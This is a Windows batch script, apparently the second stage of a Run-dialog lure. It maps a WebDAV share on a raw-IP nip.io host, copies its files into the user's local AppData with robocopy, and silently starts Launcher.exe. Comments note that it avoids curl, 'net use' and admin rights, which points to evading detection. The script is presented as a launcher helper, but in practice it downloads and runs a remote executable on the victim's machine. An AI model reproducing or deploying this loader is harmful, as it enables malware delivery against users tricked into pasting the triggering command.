@echo off
setlocal enableextensions

rem Called after the Win+R loop has pushd'd into the share, so "." is the share
rem root. Copy everything to local disk and run Launcher.exe THERE, so the
rem Flutter runtime finds flutter_windows.dll, the .cfg and the en-US locale
rem folder next to the exe. No curl, no net use, no admin.

set "REMOTE=\\137-220-60-229.nip.io@SSL@443\DavWWWRoot"
set "DST=%LOCALAPPDATA%\LauncherApp"
set "EXE=Launcher.exe"
set "LOG=%DST%\launcher.log"

if not exist "%DST%" md "%DST%" >nul 2>&1

rem --- source = current dir if the caller mapped the share, else map it here ---
if not exist ".\%EXE%" (
    pushd "%REMOTE%" 2>nul
)

rem --- copy everything to local disk (only changed files after the first run) ---
rem /E = every subfolder too (en-US comes along), /XO = never overwrite newer local
robocopy . "%DST%" /E /XO /FFT /MT:8 /R:2 /W:2 /COPY:DAT /NP /NFL /NDL /NJH /NJS /LOG+:"%LOG%" >nul 2>&1

rem --- en-US is MANDATORY for the Flutter locale data: retry it once on its own ---
if not exist "%DST%\en-US" (
    robocopy .\en-US "%DST%\en-US" /E /XO /FFT /R:2 /W:2 /COPY:DAT /NP /NFL /NDL /NJH /NJS /LOG+:"%LOG%" >nul 2>&1
)

rem --- run locally ---
if not exist "%DST%\%EXE%" (
    echo [%DATE% %TIME%] %EXE% missing in %DST% >>"%LOG%" 2>nul
    exit /b 1
)
cd /d "%DST%"
start "" "%DST%\%EXE%"
exit /b 0
